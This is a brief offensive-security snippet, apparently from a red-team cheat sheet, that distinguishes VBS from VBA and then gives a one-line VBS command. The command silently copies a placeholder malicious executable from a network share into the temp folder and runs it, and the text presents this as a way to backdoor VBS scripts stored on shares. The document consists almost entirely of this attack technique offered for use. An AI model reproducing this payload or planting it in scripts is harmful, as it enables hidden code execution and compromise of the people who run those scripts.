Do not confuse Visual Basic scripts (.vbs files) with Visual Basic for Applications!

VBS code to copy a file from a share and then execute it locally. This is useful for backdooring VBS scripts on shares.

CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\$SHARE_NAME\$SHARE_PATH\$MALICIOUS_EXE %TEMP% & %TEMP%\$MALICIOUS_EXE $OPTIONAL_ARGUMENTS", 0, True